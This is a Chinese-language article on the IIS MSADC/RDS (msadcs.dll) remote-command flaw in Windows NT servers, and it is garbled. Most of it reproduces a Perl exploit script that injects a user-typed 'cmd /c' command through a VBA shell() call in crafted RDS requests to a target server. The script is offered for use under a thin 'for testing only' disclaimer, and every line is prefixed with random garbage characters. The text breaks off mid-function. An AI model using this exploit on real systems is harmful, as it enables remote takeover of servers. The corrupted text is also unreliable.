IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+lgF/y6 (vAv^A*i} 涉及程序:
[s{r$!Gl Microsoft NT server
r7"A u" dH2]ZE0V 描述:
gO:Z6}3vM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3$N %iE6 ^jha:d 详细:
9c^skNbS 如果你没有时间读详细内容的话,就删除:
B >u,) c:\Program Files\Common Files\System\Msadc\msadcs.dll
D<bU~Gd,P 有关的安全问题就没有了。
.D,?u"fk| [Ba2b: l6v 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
W`u$7k]$ {LT4u]# 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_TOi
[GT 关于利用ODBC远程漏洞的描述,请参看:
y,v0-o~q G?1x+H;o5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S -6"f/ m c\ C 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
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%|^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 974eY ;Lsjh# 这里不再论述。
GL5^_`n i9;27tT~< 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}*.:Hv" uGa(_ut /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'l'
X^LMD 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0n*rs=\VG AGEZ8(h ByhOK}u;P4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
h7EUIlh" 7~ *;=,mw #!perl
gj[ >p=Wn #
R 5K-KSvW # MSADC/RDS 'usage' (aka exploit) script
u%=bHg #
13.{Y) # by rain.forest.puppy
bk7^%O> #
U+.PuC[3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.>kccLr:z # beta test and find errors!
a:yB%:2 XhE$&Ff use Socket; use Getopt::Std;
np-T&Pz2 getopts("e:vd:h:XR", \%args);
K}PvrcO1 :'d76pM- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
emv ;m/&8 (|<h^]
y3 if (!defined $args{h} && !defined $args{R}) {
<Spr6U9p7 print qq~
56Sh Usage: msadc.pl -h <host> { -d <delay> -X -v }
h-r6PY=i -h <host> = host you want to scan (ip or domain)
B:O+*3j -d <seconds> = delay between calls, default 1 second
'!wPnYT@D -X = dump Index Server path table, if available
|"CJ -v = verbose
AZxrJ2G -e = external dictionary file for step 5
0{0;1.ZP V<i<0E Or a -R will resume a command session
*MYt:ms :3a&Pb*PL ~; exit;}
;23=p=/h n2n00%Wu[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#"Eks79s if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
t7|MkX1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
YKP=0 j3, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
|?x^8e<* $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,VKQRmd if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0 W~.WkD :%/\1$3P if (!defined $args{R}){ $ret = &has_msadc;
0rk u4T die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.Lojzx w::r?.9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^273l(CZ1 . "cmd /c ";
"H5&3sF2 $in=<STDIN>; chomp $in;
a3O nW\N $command="cmd /c " . $in ;
fDU+3b j:HH#U if (defined $args{R}) {&load; exit;}
A$7Eo`Of Lzh9DYU6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<ZigCo w &try_btcustmr;
x1Nme%%& v[R_S print "\nStep 2: Trying to make our own DSN...";
$Hp.{jw &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2;~KL-h0TK \|4 Ca't print "\nStep 3: Trying known DSNs...";
'1CD-
Bu &known_dsn;
4@DVc7\x$ X$Q2m{dR print "\nStep 4: Trying known .mdbs...";
M'\pkzx &known_mdb;
CxJfrI_W WYSck&9 if (defined $args{e}){
T?H\&2CLT print "\nStep 5: Trying dictionary of DSN names...";
n&_YYEHx &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
@<vF]\Ce |yLk5e~@- print "Sorry Charley...maybe next time?\n";
i[^k.W3gf exit;
1KW3l<v-6 3hc#FmLr2b ##############################################################################
`6rrXU6| X!T|07#c sub sendraw { # ripped and modded from whisker
shM{Y9~O9& sleep($delay); # it's a DoS on the server! At least on mine...
=MMCf0 my ($pstr)=@_;
B^Xy0fq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G3H#XK D die("Socket problems\n");
HjV\lcK:v if(connect(S,pack "SnA4x8",2,80,$target)){
-&trk select(S); $|=1;
azvDvEWCQZ print $pstr; my @in=<S>;
|xq}'.C select(STDOUT); close(S);
nc<qbN return @in;
"YuZ fL`bb } else { die("Can't connect...\n"); }}
dO+kPC Nt HbwU, ##############################################################################
[FB&4>V/ )nhfkW=e sub make_header { # make the HTTP request
rwoF}} my $msadc=<<EOT
q1UBKhpnH POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5+`=t07^et User-Agent: ACTIVEDATA
}W1^t Host: $ip
/M 0 p_4 Content-Length: $clen
=Q@6c Connection: Keep-Alive
PM@XtL7J j\!
e9M ADCClientVersion:01.06
@|^jq Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Z%Vr+)!4 DX|uHbGg --!ADM!ROX!YOUR!WORLD!
pw!@Q?R Content-Type: application/x-varg
{n\6BTs Content-Length: $reqlen
'w}p[( ;JYoW{2 EOT
<R>Q4&we( ; $msadc=~s/\n/\r\n/g;
NvcHv7, return $msadc;}
9KXym } /;DjJpwf0 ##############################################################################
^,Xa IP+[ :#Ty^-"]1 sub make_req { # make the RDS request
_~PO my ($switch, $p1, $p2)=@_;
s){Q&E~X my $req=""; my $t1, $t2, $query, $dsn;
1c'79YU 5KK{%6#f\ if ($switch==1){ # this is the btcustmr.mdb query
"rVU4F) $query="Select * from Customers where City=" . make_shell();
@Eo4U]- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
kr#I{gF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~fBex_.o* gTnS[ elsif ($switch==2){ # this is general make table query
oK)[p!D?0{ $query="create table AZZ (B int, C varchar(10))";
&%6NQWW $dsn="$p1";}
fO#?k<p ,pn)> elsif ($switch==3){ # this is general exploit table query
Z^<Sj5}6 $query="select * from AZZ where C=" . make_shell();
rmoJ
=.' $dsn="$p1";}
#7+]%;h I:nI6gF elsif ($switch==4){ # attempt to hork file info from index server
WI6(#8^p $query="select path from scope()";
zFOL(s.h|0 $dsn="Provider=MSIDXS;";}
!Pw$48cg q=njKC elsif ($switch==5){ # bad query
"i&fp:E0 $query="select";
|IAW{_9)U $dsn="$p1";}
k9l^6#<? *=TYVM9 $t1= make_unicode($query);
xLZ bU4 $t2= make_unicode($dsn);
o,J^ e_ $req = "\x02\x00\x03\x00";
{(%~i37 $req.= "\x08\x00" . pack ("S1", length($t1));
!\ZcOk2 $req.= "\x00\x00" . $t1 ;
":V%(c $req.= "\x08\x00" . pack ("S1", length($t2));
B.}cB'| $req.= "\x00\x00" . $t2 ;
V(r`.75 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Gh'X.?3 return $req;}
|<1M&\oaQ' BO"qD[S ##############################################################################
RYH)AS4w' \ p3v#0R{ sub make_shell { # this makes the shell() statement
h<)yJh return "'|shell(\"$command\")|'";}
6i| ~7md, !j{CuA/ ##############################################################################
iyc$)"w O)`Gzx*ShU sub make_unicode { # quick little function to convert to unicode
s047"Q my ($in)=@_; my $out;
LaclC]yLU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%uua_) return $out;}
lr0M<5d=p zXjwnep ##############################################################################
AxEc^Cof >4~#%& sub rdo_success { # checks for RDO return success (this is kludge)
W1hX?!xp! my (@in) = @_; my $base=content_start(@in);
<}cZi4l' if($in[$base]=~/multipart\/mixed/){
"
<Qm
- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
s@PLS5d" return 0;}
QypZH"Np JDKLKHOMZ ##############################################################################
Ts#pUoE~+H 7/
t:YBR sub make_dsn { # this makes a DSN for us
{<!hlB my @drives=("c","d","e","f");
%P;[fJ
`G print "\nMaking DSN: ";
Tv1]v. foreach $drive (@drives) {
;5N41_hG print "$drive: ";
F*,5\s< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
mVt3WZa "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ncj!KyU . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#hy+ L $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
*t]v}ZV* return 0 if $2 eq "404"; # not found/doesn't exist
B2Z0 if($2 eq "200") {
[EruyWK foreach $line (@results) {
PV(4$I} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z-I|h~ii } return 0;}
hVkO%]? [Teh*CV ##############################################################################
=gs~\q `|,Bm|~: sub verify_exists {
{pC\\} my ($page)=@_;
g8'~e{=( my @results=sendraw("GET $page HTTP/1.0\n\n");
3
1k return $results[0];}
>4M<W4
>MPa38 ##############################################################################
p_r4^p\ [83>T , sub try_btcustmr {
l|7O)
my @drives=("c","d","e","f");
;P8(Zf3wJb my @dirs=("winnt","winnt35","winnt351","win","windows");
~2(]ZfO?>H %i595Ij-] foreach $dir (@dirs) {
%jTw print "$dir -> "; # fun status so you can see progress
Cdmy.gx^ foreach $drive (@drives) {
:]-$dEu& print "$drive: "; # ditto
KGD'mByt" $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[[X+P 0`r $reqlenlen=length( "$reqlen" );
%mu>-h ac $clen= 206 + $reqlenlen + $reqlen;
MOeoU1Hn ZJvo9!DL|
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
h1*FPsc if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
QvJZkGX else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=|"=l1 w&5/Zh[~~L ##############################################################################
(gU2"{:]J ]w-.|vx sub odbc_error {
MnS+ nH!d my (@in)=@_; my $base;
DN<M?u] my $base = content_start(@in);
O+b6lg)q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
AOAO8%|I $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j_V/GnEQ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/?U!y?t&@ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b` zET^F return $in[$base+4].$in[$base+5].$in[$base+6];}
|EEi&GOR(y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
QXY}STs print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
x)5LT}p $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]Zk}ZG>6 o[^Q y(2~ ##############################################################################
o} {-j
=ajLa/m' sub verbose {
_*n)mlLln my ($in)=@_;
7@3sUA_Go return if !$verbose;
0qR$J print STDOUT "\n$in\n";}
[8z&-'J= cJ/4Gl ##############################################################################
a'A s JnHNkCaU sub save {
]'UgZsJ my ($p1, $p2, $p3, $p4)=@_;
~of,,& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_#vGs:-x& print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^)<